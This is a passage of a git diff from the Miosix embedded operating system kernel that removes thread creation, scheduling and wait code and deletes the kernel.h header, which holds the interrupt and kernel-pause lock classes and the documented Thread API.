miosix_private::portableSwitchToUserspace(); - miosix_private::SyscallParameters result(runningThread->userCtxsave); - return result; -} - -Thread *Thread::createUserspace(void *(*startfunc)(void *), Process *proc) -{ - Thread *thread=doCreate(startfunc,SYSTEM_MODE_PROCESS_STACK_SIZE,nullptr, - Thread::DEFAULT,false); - if(thread==nullptr) return nullptr; - - unsigned int *base=thread->watermark; - try { - thread->userCtxsave=new unsigned int[CTXSAVE_SIZE]; - } catch(std::bad_alloc&) { - thread->~Thread(); - free(base); //Delete ALL thread memory - return nullptr;//Error - } - - thread->proc=proc; - thread->flags.IRQsetWait(true); //Thread is not yet ready - - //Add thread to thread list - { - //Handling the list of threads, critical section is required - PauseKernelLock lock; - if(Scheduler::PKaddThread(thread,MAIN_PRIORITY)==false) - { - //Reached limit on number of threads - base=thread->watermark; - thread->~Thread(); - free(base); //Delete ALL thread memory - return nullptr; - } - } - - return thread; -} - -void Thread::setupUserspaceContext(unsigned int entry, int argc, void *argvSp, - void *envp, unsigned int *gotBase, unsigned int stackSize) -{ - //Fill watermark and stack - char *base=reinterpret_cast(argvSp)-stackSize-WATERMARK_LEN; - memset(base, WATERMARK_FILL, WATERMARK_LEN); - memset(base+WATERMARK_LEN, STACK_FILL, stackSize); - runningThread->userWatermark=reinterpret_cast(base); - //Initialize registers - void *(*startfunc)(void*)=reinterpret_cast(entry); - //NOTE: for the main thread in a process userWatermark is also the end of - //the heap, used by _sbrk_r. When we'll implement threads in processes that - //pointer will just point to the watermark end of the thread, but userspace - //threads can just ignore that value so we'll pass it unconditionally - miosix_private::initCtxsave(runningThread->userCtxsave,startfunc, - argc,argvSp,envp,gotBase,runningThread->userWatermark); -} - -#endif //WITH_PROCESSES - -Thread::Thread(unsigned int *watermark, unsigned int stacksize, - bool defaultReent) : schedData(), flags(this), savedPriority(0), - mutexLocked(nullptr), mutexWaiting(nullptr), watermark(watermark), - ctxsave(), stacksize(stacksize) -{ - joinData.waitingForJoin=nullptr; - if(defaultReent) cReentrancyData=_GLOBAL_REENT; - else { - cReentrancyData=new _reent; - if(cReentrancyData) _REENT_INIT_PTR(cReentrancyData); - } - #ifdef WITH_PROCESSES - proc=kernel; - userCtxsave=nullptr; - #endif //WITH_PROCESSES -} - -Thread::~Thread() -{ - if(cReentrancyData && cReentrancyData!=_GLOBAL_REENT) - { - _reclaim_reent(cReentrancyData); - delete cReentrancyData; - } - #ifdef WITH_PROCESSES - if(userCtxsave) delete[] userCtxsave; - #endif //WITH_PROCESSES -} - -Thread *Thread::doCreate(void*(*startfunc)(void*) , unsigned int stacksize, - void* argv, unsigned short options, bool defaultReent) -{ - unsigned int fullStackSize=WATERMARK_LEN+CTXSAVE_ON_STACK+stacksize; - - //Align fullStackSize to the platform required stack alignment - fullStackSize+=CTXSAVE_STACK_ALIGNMENT-1; - fullStackSize/=CTXSAVE_STACK_ALIGNMENT; - fullStackSize*=CTXSAVE_STACK_ALIGNMENT; - - //Allocate memory for the thread, return if fail - unsigned int *base=static_cast(malloc(sizeof(Thread)+ - fullStackSize)); - if(base==nullptr) return nullptr; - - //At the top of thread memory allocate the Thread class with placement new - void *threadClass=base+(fullStackSize/sizeof(unsigned int)); - Thread *thread=new (threadClass) Thread(base,stacksize,defaultReent); - - if(thread->cReentrancyData==nullptr) - { - thread->~Thread(); - free(base); //Delete ALL thread memory - return nullptr; - } - - //Fill watermark and stack - memset(base, WATERMARK_FILL, WATERMARK_LEN); - base+=WATERMARK_LEN/sizeof(unsigned int); - memset(base, STACK_FILL, fullStackSize-WATERMARK_LEN); - - //On some architectures some registers are saved on the stack, therefore - //initCtxsave *must* be called after filling the stack. - miosix_private::initCtxsave(thread->ctxsave,startfunc, - reinterpret_cast(thread),argv); - - if((options & JOINABLE)==0) thread->flags.IRQsetDetached(); - return thread; -} - -void Thread::threadLauncher(void *(*threadfunc)(void*), void *argv) -{ - void *result=nullptr; - #ifdef __NO_EXCEPTIONS - result=threadfunc(argv); - #else //__NO_EXCEPTIONS - try { - result=threadfunc(argv); - } catch(std::exception& e) { - errorLog("***An exception propagated through a thread\n"); - errorLog("what():%s\n",e.what()); - } catch(...) { - errorLog("***An exception propagated through a thread\n"); - } - #endif //__NO_EXCEPTIONS - //Thread returned from its entry point, so delete it - - //Since the thread is running, it cannot be in the sleepingList, so no need - //to remove it from the list - { - FastInterruptDisableLock lock; - const_cast(runningThread)->flags.IRQsetDeleted(); - - if(const_cast(runningThread)->flags.isDetached()==false) - { - //If thread is joinable, handle join - if(runningThread->joinData.waitingForJoin!=nullptr) - { - //Wake thread - runningThread->joinData.waitingForJoin->flags.IRQsetJoinWait(false); - } - //Set result - runningThread->joinData.result=result; - } else { - //If thread is detached, memory can be deallocated immediately - existDeleted=true; - } - } - Thread::yield();//Since the thread is now deleted, yield immediately. - //Will never reach here - errorHandler(UNEXPECTED); -} - -void Thread::IRQenableIrqAndWaitImpl() -{ - const_cast(runningThread)->flags.IRQsetWait(true); - auto savedNesting=interruptDisableNesting; //For InterruptDisableLock - interruptDisableNesting=0; - miosix_private::doEnableInterrupts(); - Thread::yield(); //Here the wait becomes effective - miosix_private::doDisableInterrupts(); - if(interruptDisableNesting!=0) errorHandler(UNEXPECTED); - interruptDisableNesting=savedNesting; -} - -TimedWaitResult Thread::IRQenableIrqAndTimedWaitImpl(long long absoluteTimeNs) -{ - absoluteTimeNs=std::max(absoluteTimeNs,100000LL); - Thread *t=const_cast(runningThread); - SleepData sleepData(t,absoluteTimeNs); - t->flags.IRQsetWait(true); //timedWait thread: set wait flag - IRQaddToSleepingList(&sleepData); - auto savedNesting=interruptDisableNesting; //For InterruptDisableLock - interruptDisableNesting=0; - miosix_private::doEnableInterrupts(); - Thread::yield(); //Here the wait becomes effective - miosix_private::doDisableInterrupts(); - if(interruptDisableNesting!=0) errorHandler(UNEXPECTED); - interruptDisableNesting=savedNesting; - bool removed=sleepingList.removeFast(&sleepData); - //If the thread was still in the sleeping list, it was woken up by a wakeup() - return removed ? TimedWaitResult::NoTimeout : TimedWaitResult::Timeout; -} - -bool Thread::IRQexists(Thread* p) -{ - if(p==nullptr) return false; - //NOTE: the code in all schedulers is currently safe to be called also with - //interrupts disabled - return Scheduler::PKexists(p); -} - -Thread *Thread::allocateIdleThread() -{ - //NOTE: this function is only called once before the kernel is started, so - //there are no concurrency issues, not even with interrupts - - // Create the idle and main thread - auto *idle=Thread::doCreate(idleThread,STACK_IDLE,nullptr,Thread::DEFAULT,true); - if(idle==nullptr) errorHandler(OUT_OF_MEMORY); - - // runningThread must point to a valid thread, so we make it point to the the idle one - runningThread=idle; - return idle; -} - -struct _reent *Thread::getCReent() -{ - return getCurrentThread()->cReentrancyData; -} - -// -// class ThreadFlags -// - -void Thread::ThreadFlags::IRQsetWait(bool waiting) -{ - if(waiting) flags |= WAIT; else flags &= ~WAIT; - Scheduler::IRQwaitStatusHook(this->t); -} - -void Thread::ThreadFlags::IRQsetSleep() -{ - flags |= SLEEP; - Scheduler::IRQwaitStatusHook(this->t); -} - -void Thread::ThreadFlags::IRQclearSleepAndWait() -{ - flags &= ~(WAIT | SLEEP); - Scheduler::IRQwaitStatusHook(this->t); -} - -void Thread::ThreadFlags::IRQsetJoinWait(bool waiting) -{ - if(waiting) flags |= WAIT_JOIN; else flags &= ~WAIT_JOIN; - Scheduler::IRQwaitStatusHook(this->t); -} - -void Thread::ThreadFlags::IRQsetDeleted() -{ - flags |= DELETED; - Scheduler::IRQwaitStatusHook(this->t); -} - -} //namespace miosix diff --git a/miosix/kernel/kernel.h b/miosix/kernel/kernel.h deleted file mode 100755 index e0ded9e28..000000000 --- a/miosix/kernel/kernel.h +++ /dev/null @@ -1,1285 +0,0 @@ -/*************************************************************************** - * Copyright (C) 2008-2023 by Terraneo Federico * - * * - * This program is free software; you can redistribute it and/or modify * - * it under the terms of the GNU General Public License as published by * - * the Free Software Foundation; either version 2 of the License, or * - * (at your option) any later version. * - * * - * This program is distributed in the hope that it will be useful, * - * but WITHOUT ANY WARRANTY; without even the implied warranty of * - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * - * GNU General Public License for more details. * - * * - * As a special exception, if other files instantiate templates or use * - * macros or inline functions from this file, or you compile this file * - * and link it with other works to produce a work based on this file, * - * this file does not by itself cause the resulting work to be covered * - * by the GNU General Public License. However the source code for this * - * file must still be made available in accordance with the GNU General * - * Public License. This exception does not invalidate any other reasons * - * why a work based on this file might be covered by the GNU General * - * Public License. * - * * - * You should have received a copy of the GNU General Public License * - * along with this program; if not, see * - ***************************************************************************/ - -#pragma once - -#include "config/miosix_settings.h" -#include "interfaces/portability.h" -#include "kernel/scheduler/sched_types.h" -#include "stdlib_integration/libstdcpp_integration.h" -#include "intrusive.h" -#include "cpu_time_counter_types.h" - -/** - * \namespace miosix - * All user available kernel functions, classes are inside this namespace. - */ -namespace miosix { - -/** - * \addtogroup Kernel - * \{ - */ - -/** - * Disable interrupts, if interrupts were enable prior to calling this function. - * - * Please note that starting from Miosix 1.51 disableInterrupts() and - * enableInterrupts() can be nested. You can therefore call disableInterrupts() - * multiple times as long as each call is matched by a call to - * enableInterrupts().
- * This replaced disable_and_save_interrupts() and restore_interrupts() - * - * disableInterrupts() cannot be called within an interrupt routine, but can be - * called before the kernel is started (and does nothing in this case) - */ -void disableInterrupts(); - -/** - * Enable interrupts.
- * Please note that starting from Miosix 1.51 disableInterrupts() and - * enableInterrupts() can be nested. You can therefore call disableInterrupts() - * multiple times as long as each call is matched by a call to - * enableInterrupts().
- * This replaced disable_and_save_interrupts() and restore_interrupts() - * - * enableInterrupts() cannot be called within an interrupt routine, but can be - * called before the kernel is started (and does nothing in this case) - */ -void enableInterrupts(); - -/** - * Fast version of disableInterrupts().
- * Despite faster, it has a couple of preconditions: - * - calls to fastDisableInterrupts() can't be nested - * - it can't be used in code that is called before the kernel is started - */ -inline void fastDisableInterrupts() -{ - miosix_private::doDisableInterrupts(); -} - -/** - * Fast version of enableInterrupts().
- * Despite faster, it has a couple of preconditions: - * - calls to fastDisableInterrupts() can't be nested - * - it can't be used in code that is called before the kernel is started, - * because it will (incorreclty) lead to interrupts being enabled before the - * kernel is started - */ -inline void fastEnableInterrupts() -{ - miosix_private::doEnableInterrupts(); -} - -/** - * This class is a RAII lock for disabling interrupts. This call avoids - * the error of not reenabling interrupts since it is done automatically. - */ -class InterruptDisableLock -{ -public: - /** - * Constructor, disables interrupts. - */ - InterruptDisableLock() - { - disableInterrupts(); - } - - /** - * Destructor, reenables interrupts - */ - ~InterruptDisableLock() - { - enableInterrupts(); - } - -private: - //Unwanted methods - InterruptDisableLock(const InterruptDisableLock& l); - InterruptDisableLock& operator= (const InterruptDisableLock& l); -}; - -/** - * This class allows to temporarily re enable interrpts in a scope where - * they are disabled with an InterruptDisableLock.
- * Example: - * \code - * - * //Interrupts enabled - * { - * InterruptDisableLock dLock; - * - * //Now interrupts disabled - * - * { - * InterruptEnableLock eLock(dLock); - * - * //Now interrupts back enabled - * } - * - * //Now interrupts again disabled - * } - * //Finally interrupts enabled - * \endcode - */ -class InterruptEnableLock -{ -public: - /** - * Constructor, enables back interrupts. - * \param l the InteruptDisableLock that disabled interrupts. Note that - * this parameter is not used internally. It is only required to prevent - * erroneous use of this class by making an instance of it without an - * active InterruptEnabeLock - */ - InterruptEnableLock(InterruptDisableLock& l) - { - (void)l; - enableInterrupts(); - } - - /** - * Destructor. - * Disable back interrupts. - */ - ~InterruptEnableLock() - { - disableInterrupts(); - } - -private: - //Unwanted methods - InterruptEnableLock(const InterruptEnableLock& l); - InterruptEnableLock& operator= (const InterruptEnableLock& l); -}; - -/** - * This class is a RAII lock for disabling interrupts. This call avoids - * the error of not reenabling interrupts since it is done automatically. - * As opposed to InterruptDisableLock, this version doesn't support nesting - */ -class FastInterruptDisableLock -{ -public: - /** - * Constructor, disables interrupts. - */ - FastInterruptDisableLock() - { - fastDisableInterrupts(); - } - - /** - * Destructor, reenables interrupts - */ - ~FastInterruptDisableLock() - { - fastEnableInterrupts(); - } - -private: - //Unwanted methods - FastInterruptDisableLock(const FastInterruptDisableLock& l); - FastInterruptDisableLock& operator= (const FastInterruptDisableLock& l); -}; - -/** - * This class allows to temporarily re enable interrpts in a scope where - * they are disabled with an FastInterruptDisableLock. - */ -class FastInterruptEnableLock -{ -public: - /** - * Constructor, enables back interrupts. - * \param l the InteruptDisableLock that disabled interrupts. Note that - * this parameter is not used internally. It is only required to prevent - * erroneous use of this class by making an instance of it without an - * active InterruptEnabeLock - */ - FastInterruptEnableLock(FastInterruptDisableLock& l) - { - (void)l; - fastEnableInterrupts(); - } - - /** - * Destructor. - * Disable back interrupts. - */ - ~FastInterruptEnableLock() - { - fastDisableInterrupts(); - } - -private: - //Unwanted methods - FastInterruptEnableLock(const FastInterruptEnableLock& l); - FastInterruptEnableLock& operator= (const FastInterruptEnableLock& l); -}; - -/** - * Pause the kernel.
Interrupts will continue to occur, but no preemption is - * possible. Call to this function are cumulative: if you call pauseKernel() - * two times, you need to call restartKernel() two times.
Pausing the kernel - * must be avoided if possible because it is easy to cause deadlock. Calling - * file related functions (fopen, Directory::open() ...), serial port related - * functions (printf ...) or kernel functions that cannot be called when the - * kernel is paused will cause deadlock. Therefore, if possible, it is better to - * use a Mutex instead of pausing the kernel
This function is safe to be - * called even before the kernel is started. In this case it has no effect. - */ -void pauseKernel(); - -/** - * Restart the kernel.
This function will yield immediately if a tick has - * been missed. Since calls to pauseKernel() are cumulative, if you call - * pauseKernel() two times, you need to call restartKernel() two times.
- * This function is safe to be called even before the kernel is started. In this - * case it has no effect. - */ -void restartKernel(); - -/** - * \return true if interrupts are enabled - */ -bool areInterruptsEnabled(); - -/** - * This class is a RAII lock for pausing the kernel. This call avoids - * the error of not restarting the kernel since it is done automatically. - */ -class PauseKernelLock -{ -public: - /** - * Constructor, pauses the kernel. - */ - PauseKernelLock() - { - pauseKernel(); - } - - /** - * Destructor, restarts the kernel - */ - ~PauseKernelLock() - { - restartKernel(); - } - -private: - //Unwanted methods - PauseKernelLock(const PauseKernelLock& l); - PauseKernelLock& operator= (const PauseKernelLock& l); -}; - -/** - * This class allows to temporarily restart kernel in a scope where it is - * paused with an InterruptDisableLock.
- * Example: - * \code - * - * //Kernel started - * { - * PauseKernelLock dLock; - * - * //Now kernel paused - * - * { - * RestartKernelLock eLock(dLock); - * - * //Now kernel back started - * } - * - * //Now kernel again paused - * } - * //Finally kernel started - * \endcode - */ -class RestartKernelLock -{ -public: - /** - * Constructor, restarts kernel. - * \param l the PauseKernelLock that disabled interrupts. Note that - * this parameter is not used internally. It is only required to prevent - * erroneous use of this class by making an instance of it without an - * active PauseKernelLock - */ - RestartKernelLock(PauseKernelLock& l) - { - (void)l; - restartKernel(); - } - - /** - * Destructor. - * Disable back interrupts. - */ - ~RestartKernelLock() - { - pauseKernel(); - } - -private: - //Unwanted methods - RestartKernelLock(const RestartKernelLock& l); - RestartKernelLock& operator= (const RestartKernelLock& l); -}; - -/** - * Prevent the microcontroller from entering a deep sleep state. Most commonly - * used by device drivers requiring clocks or power rails that would be disabled - * when entering deep sleep to perform blocking operations while informing the - * scheduler that deep sleep is currently not possible. - * Can be nested multiple times and called by different device drivers - * simultaneously. If N calls to deepSleepLock() are made, then N calls to - * deepSleepUnlock() need to be made before deep sleep is enabled back. - */ -void deepSleepLock(); - -/** - * Used to signal the scheduler that a critical section where deep sleep should - * not be entered has completed. If N calls to deepSleepLock() are made, then N - * calls to deepSleepUnlock() need to be made before deep sleep is enabled back. - */ -void deepSleepUnlock(); - -/** - * This class is a RAII lock for temporarily prevent entering deep sleep. - * This call avoids the error of not reenabling deep sleep capability since it - * is done automatically. - */ -class DeepSleepLock -{ -public: - DeepSleepLock() { deepSleepLock(); } - - ~DeepSleepLock() { deepSleepUnlock(); } - -private: - DeepSleepLock(const DeepSleepLock&); - DeepSleepLock& operator= (const DeepSleepLock&); -}; - -/** - * \internal - * Start the kernel.
There is no way to stop the kernel once it is - * started, except a (software or hardware) system reset.
- * Calls errorHandler(OUT_OF_MEMORY) if there is no heap to create the idle - * thread. If the function succeds in starting the kernel, it never returns; - * otherwise it will call errorHandler(OUT_OF_MEMORY) and then return - * immediately. startKernel() must not be called when the kernel is already - * started. - */ -void startKernel(); - -/** - * Return true if kernel is running, false if it is not started, or paused.
- * Warning: disabling/enabling interrupts does not affect the result returned by - * this function. - * \return true if kernel is running (started && not paused) - */ -bool isKernelRunning(); - -/** - * Returns OS time, which is a monotonic clock started when the OS booted.
- * Warning! This function replaces the getTick() in previous versions of the - * kernel, but unlike getTick(), getTime() cannot be called with interrupts - * disabled. For that, you need to call IRQgeTime(). - * \return current time in nanoseconds - */ -long long getTime() noexcept; - -/** - * Returns OS time, which is a monotonic clock started when the OS booted.
- * Must be called with interrupts disabled, or within an interrupt. - * \return current time in nanoseconds - */ -long long IRQgetTime() noexcept; - -/** - * Possible return values of timedWait - */ -enum class TimedWaitResult -{ - NoTimeout, - Timeout -}; - -//Forwrd declaration -class SleepData; -class MemoryProfiling; -class Mutex; -class ConditionVariable; -#ifdef WITH_PROCESSES -class ProcessBase; -#endif //WITH_PROCESSES - -/** - * This class represents a thread. It has methods for creating, deleting and - * handling threads.
It has private constructor and destructor, since memory - * for a thread is handled by the kernel.
To create a thread use the static - * producer method create().
- * Methods that have an effect on the current thread, that is, the thread that - * is calling the method are static.
- * Calls to non static methods must be done with care, because a thread can - * terminate at any time. For example, if you call wakeup() on a terminated - * thread, the behavior is undefined. - */ -class Thread -{ -public: - - /** - * Thread options, can be passed to Thread::create to set additional options - * of the thread. - * More options can be specified simultaneously by ORing them together. - * The DEFAULT option indicates the default thread creation. - */ - enum Options - { - DEFAULT=0, ///< Default thread options - JOINABLE=1<<0 ///< Thread is joinable instead of detached - }; - - /** - * Producer method, creates a new thread. - * \param startfunc the entry point function for the thread - * \param stacksize size of thread stack, its minimum is the constant - * STACK_MIN. - * The size of the stack must be divisible by 4, otherwise it will be - * rounded to a number divisible by 4. - * \param priority the thread's priority, between 0 (lower) and - * PRIORITY_MAX-1 (higher) - * \param argv a void* pointer that is passed as pararmeter to the entry - * point function - * \param options thread options, such ad Thread::JOINABLE - * \return a reference to the thread created, that can be used, for example, - * to delete it, or nullptr in case of errors. - * - * Can be called when the kernel is paused. - */ - static Thread *create(void *(*startfunc)(void *), unsigned int stacksize, - Priority priority=Priority(), void *argv=nullptr, - unsigned short options=DEFAULT); - - /** - * Same as create(void (*startfunc)(void *), unsigned int stacksize, - * Priority priority=1, void *argv=nullptr) - * but in this case the entry point of the thread returns a void* - * \param startfunc the entry point function for the thread - * \param stacksize size of thread stack, its minimum is the constant - * STACK_MIN. - * The size of the stack must be divisible by 4, otherwise it will be - * rounded to a number divisible by 4. - * \param priority the thread's priority, between 0 (lower) and - * PRIORITY_MAX-1 (higher) - * \param argv a void* pointer that is passed as pararmeter to the entry - * point function - * \param options thread options, such ad Thread::JOINABLE - * \return a reference to the thread created, that can be used, for example, - * to delete it, or nullptr in case of errors. - */ - static Thread *create(void (*startfunc)(void *), unsigned int stacksize, - Priority priority=Priority(), void *argv=nullptr, - unsigned short options=DEFAULT); - - /** - * When called, suggests the kernel to pause the current thread, and run - * another one. - *
CANNOT be called when the kernel is paused. - */ - static void yield(); - - /** - * Put the thread to sleep for a number of milliseconds. - *
The actual precision depends on the underlying hardware timer. - * \param ms the number of milliseconds. If it is ==0 this method will - * return immediately - * - * CANNOT be called when the kernel is paused. - */ - static void sleep(unsigned int ms); - - /** - * Put the thread to sleep for a number of nanoseconds. - *
The actual precision depends on the underlying hardware timer. - * \param ns the number of nanoseconds. If it is <=0 this method will - * return immediately - * - * CANNOT be called when the kernel is paused. - */ - static void nanoSleep(long long ns); - - /** - * Put the thread to sleep until the specified absolute time is reached. - * If the time is in the past, returns immediately. - * To make a periodic thread, this is the recomended way - * \code - * void periodicThread() - * { - * const long long period=90000000; //Run every 90 milliseconds - * long long time=getTime(); - * for(;;) - * { - * //Do work - * time+=period; - * Thread::nanoSleepUntil(time); - * } - * } - * \endcode - * \param absoluteTime when to wake up, in nanoseconds - * - * CANNOT be called when the kernel is paused. - */ - static void nanoSleepUntil(long long absoluteTimeNs); - - /** - * This method stops the thread until wakeup() is called. - * Ths method is useful to implement any kind of blocking primitive, - * including device drivers. - * - * CANNOT be called when the kernel is paused. - */ - static void wait(); - - /** - * This method stops the thread until wakeup() is called. - * Ths method is useful to implement any kind of blocking primitive, - * including device drivers. - * - * Note: this method is meant to put the current thread in wait status in a - * piece of code where interrupts are disbled; it returns immediately, so - * the user is responsible for re-enabling interrupts and calling yield to - * effectively put the thread in wait status. - * - * \code - * disableInterrupts(); - * ... - * Thread::IRQwait(); //Return immediately - * enableInterrupts(); - * Thread::yield(); //After this, thread is in wait status - * \endcode - * - * Consider using IRQenableIrqAndWait() instead. - */ - static void IRQwait(); - - /** - * This method stops the thread until wakeup() is called. - * Ths method is useful to implement any kind of blocking primitive, - * including device drivers. - * - * NOTE: this method is meant to put the current thread in wait status in a - * piece of code where the kernel is paused (preemption disabled). - * Preemption will be enabled during the waiting period, and disabled back - * before this method returns. - * - * \param dLock the PauseKernelLock object that was used to disable - * preemption in the current context. - */ - static void PKrestartKernelAndWait(PauseKernelLock& dLock); - - /** - * This method stops the thread until wakeup() is called. - * Ths method is useful to implement any kind of blocking primitive, - * including device drivers. - * - * NOTE: this method is meant to put the current thread in wait status in a - * piece of code where interrupts are disbled, interrupts will be enabled - * during the waiting period, and disabled back before this method returns. - * - * \param dLock the InterruptDisableLock object that was used to disable - * interrupts in the current context. - */ - static void IRQenableIrqAndWait(InterruptDisableLock& dLock) - { - (void)dLock; //Common implementation doesn't need it - return IRQenableIrqAndWaitImpl(); - } - - /** - * This method stops the thread until wakeup() is called. - * Ths method is useful to implement any kind of blocking primitive, - * including device drivers. - * - * NOTE: this method is meant to put the current thread in wait status in a - * piece of code where interrupts are disbled, interrupts will be enabled - * during the waiting period, and disabled back before this method returns. - * - * \param dLock the FastInterruptDisableLock object that was used to disable - * interrupts in the current context. - */ - static void IRQenableIrqAndWait(FastInterruptDisableLock& dLock) - { - (void)dLock; //Common implementation doesn't need it - return IRQenableIrqAndWaitImpl(); - } - - /** - * This method stops the thread until wakeup() is called or the specified - * absolute time in nanoseconds is reached. - * Ths method is thus a combined IRQwait() and absoluteSleep(), and is - * useful to implement any kind of blocking primitive with timeout, - * including device drivers. - * - * \param absoluteTimeoutNs absolute time after which the wait times out - * \return TimedWaitResult::Timeout if the wait timed out - */ - static TimedWaitResult timedWait(long long absoluteTimeNs) - { - FastInterruptDisableLock dLock; - return IRQenableIrqAndTimedWaitImpl(absoluteTimeNs); - } - - /** - * This method stops the thread until wakeup() is called or the specified - * absolute time in nanoseconds is reached. - * Ths method is thus a combined IRQwait() and absoluteSleep(), and is - * useful to implement any kind of blocking primitive with timeout, - * including device drivers. - * - * NOTE: this method is meant to put the current thread in wait status in a - * piece of code where the kernel is paused (preemption disabled). - * Preemption will be enabled during the waiting period, and disabled back - * before this method returns. - * - * \param dLock the PauseKernelLock object that was used to disable - * preemption in the current context. - * \param absoluteTimeoutNs absolute time after which the wait times out - * \return TimedWaitResult::Timeout if the wait timed out - */ - static TimedWaitResult PKrestartKernelAndTimedWait(PauseKernelLock& dLock, - long long absoluteTimeNs); - - /** - * This method stops the thread until wakeup() is called or the specified - * absolute time in nanoseconds is reached. - * Ths method is thus a combined IRQwait() and absoluteSleep(), and is - * useful to implement any kind of blocking primitive with timeout, - * including device drivers. - * - * NOTE: this method is meant to put the current thread in wait status in a - * piece of code where interrupts are disbled, interrupts will be enabled - * during the waiting period, and disabled back before this method returns. - * - * \param dLock the InterruptDisableLock object that was used to disable - * interrupts in the current context. - * \param absoluteTimeoutNs absolute time after which the wait times out - * \return TimedWaitResult::Timeout if the wait timed out - */ - static TimedWaitResult IRQenableIrqAndTimedWait(InterruptDisableLock& dLock, - long long absoluteTimeNs) - { - (void)dLock; //Common implementation doesn't need it - return IRQenableIrqAndTimedWaitImpl(absoluteTimeNs); - } - - /** - * This method stops the thread until wakeup() is called or the specified - * absolute time in nanoseconds is reached. - * Ths method is thus a combined IRQwait() and absoluteSleep(), and is - * useful to implement any kind of blocking primitive with timeout, - * including device drivers. - * - * NOTE: this method is meant to put the current thread in wait status in a - * piece of code where interrupts are disbled, interrupts will be enabled - * during the waiting period, and disabled back before this method returns. - * - * \param dLock the FastInterruptDisableLock object that was used to disable - * interrupts in the current context. - * \param absoluteTimeoutNs absolute time after which the wait times out - * \return TimedWaitResult::Timeout if the wait timed out - */ - static TimedWaitResult IRQenableIrqAndTimedWait(FastInterruptDisableLock& dLock, - long long absoluteTimeNs) - { - (void)dLock; //Common implementation doesn't need it - return IRQenableIrqAndTimedWaitImpl(absoluteTimeNs); - } - - /** - * Wakeup a thread. - *
CANNOT be called when the kernel is paused. - */ - void wakeup(); - - /** - * Wakeup a thread. - *
Can only be called when the kernel is paused. - */ - void PKwakeup(); - - /** - * Wakeup a thread. - *
Can only be called inside an IRQ or when interrupts are disabled. - */ - void IRQwakeup(); - - /** - * \return a pointer to the current thread. - * - * Returns a valid pointer also if called before the kernel is started. - */ - static Thread *getCurrentThread() - { - //Safe to call without disabling IRQ, see implementation - return IRQgetCurrentThread(); - } - - /** - * \return a pointer to the current thread. - * - * Returns a valid pointer also if called before the kernel is started. - */ - static Thread *PKgetCurrentThread() - { - //Safe to call without disabling IRQ, see implementation - return IRQgetCurrentThread(); - } - - /** - * \return a pointer to the current thread. - * - * Returns a valid pointer also if called before the kernel is started. - */ - static Thread *IRQgetCurrentThread(); - - /** - * Check if a thread exists - * \param p thread to check - * \return true if thread exists, false if does not exist or has been - * deleted. A joinable thread is considered existing until it has been - * joined, even if it returns from its entry point (unless it is detached - * and terminates). - * - * Can be called when the kernel is paused. - */ - static bool exists(Thread *p); - - /** - * Returns the priority of a thread.
- * To get the priority of the current thread use: - * \code Thread::getCurrentThread()->getPriority(); \endcode - * If the thread is currently locking one or more mutexes, this member - * function returns the current priority, which can be higher than the - * original priority due to priority inheritance. - * \return current priority of the thread - */ - Priority getPriority(); - - /** - * Same as getPriority(), but meant to be used when the kernel is paused. - */ - Priority PKgetPriority() - { - return getPriority(); //Safe to call directly, see implementation - } - - /** - * Same as getPriority(), but meant to be used inside an IRQ, or when - * interrupts are disabled. - */ - Priority IRQgetPriority() - { - return getPriority(); //Safe to call directly, see implementation - } - - /** - * Set the priority of this thread.
- * This member function changed from previous Miosix versions since it is - * now static. This implies a thread can no longer set the priority of - * another thread. - * \param pr desired priority. Must be 0<=prThread termination is implemented like this to give - * time to a thread to deallocate resources, close files... before - * terminating.
The first call to terminate on a thread will make it - * return prematurely form wait(), sleep() and timedWait() call, but only - * once.
Can be called when the kernel is paused. - */ - void terminate(); - - /** - * This method needs to be called periodically inside the thread's main - * loop. - * \return true if somebody outside the thread called terminate() on this - * thread. - * - * If it returns true the thread must free all resources and terminate by - * returning from its main function. - *
Can be called when the kernel is paused. - */ - static bool testTerminate(); - - /** - * Detach the thread if it was joinable, otherwise do nothing.
- * If called on a deleted joinable thread on which join was not yet called, - * it allows the thread's memory to be deallocated.
- * If called on a thread that is not yet deleted, the call detaches the - * thread without deleting it. - * If called on an already detached thread, it has undefined behaviour. - */ - void detach(); - - /** - * \return true if the thread is detached - */ - bool isDetached() const; - - /** - * Wait until a joinable thread is terminated.
- * If the thread already terminated, this function returns immediately.
- * Calling join() on the same thread multiple times, from the same or - * multiple threads is not recomended, but in the current implementation - * the first call will wait for join, and the other will return false.
- * Trying to join the thread join is called in returns false, but must be - * avoided.
- * Calling join on a detached thread might cause undefined behaviour. - * \param result If the entry point function of the thread to join returns - * void *, the return value of the entry point is stored here, otherwise - * the content of this variable is undefined. If nullptr is passed as result - * the return value will not be stored. - * \return true on success, false on failure - */ - bool join(void** result=nullptr); - - /** - * \internal - * This method is only meant to implement functions to check the available - * stack in a thread. Returned pointer is constant because modifying the - * stack through it must be avoided. - * \return pointer to bottom of stack of current thread. - */ - static const unsigned int *getStackBottom(); - - /** - * \internal - * \return the size of the stack of the current thread. - */ - static int getStackSize(); - - /** - * \internal - * Used before every context switch to check if the stack of the thread - * being preempted has overflowed - */ - static void IRQstackOverflowCheck(); - - #ifdef WITH_PROCESSES - - /** - * \return the process associated with the thread - */ - ProcessBase *getProcess() { return proc; } - - /** - * \internal - * Can only be called inside an IRQ, its use is to switch a thread between - * userspace/kernelspace and back to perform context switches - */ - static void IRQhandleSvc(unsigned int svcNumber); - - /** - * \internal - * Can only be called inside an IRQ, its use is to report a fault so that - * in case the fault has occurred within a process while it was executing - * in userspace, the process can be terminated. - * \param fault data about the occurred fault - * \return true if the fault was caused by a process, false otherwise. - */ - static bool IRQreportFault(const miosix_private::FaultData& fault); - - #endif //WITH_PROCESSES - - //Unwanted methods - Thread(const Thread& p) = delete; - Thread& operator = (const Thread& p) = delete; - -private: - /** - * Curren thread status - */ - class ThreadFlags - { - public: - /** - * Constructor, sets flags to default. - */ - ThreadFlags(Thread *t) : t(t), flags(0) {} - - /** - * Set the wait flag of the thread. - * Can only be called with interrupts disabled or within an interrupt. - * \param waiting if true the flag will be set, otherwise cleared - */ - void IRQsetWait(bool waiting); - - /** - * Set the sleep flag of the thread. - * Can only be called with interrupts disabled or within an interrupt. - */ - void IRQsetSleep(); - - /** - * Used by IRQwakeThreads to clear both the sleep and wait flags, - * waking threads doing absoluteSleep() as well as timedWait() - */ - void IRQclearSleepAndWait(); - - /** - * Set the wait_join flag of the thread. - * Can only be called with interrupts disabled or within an interrupt. - * \param waiting if true the flag will be set, otherwise cleared - */ - void IRQsetJoinWait(bool waiting); - - /** - * Set the deleted flag of the thread. This flag can't be cleared. - * Can only be called 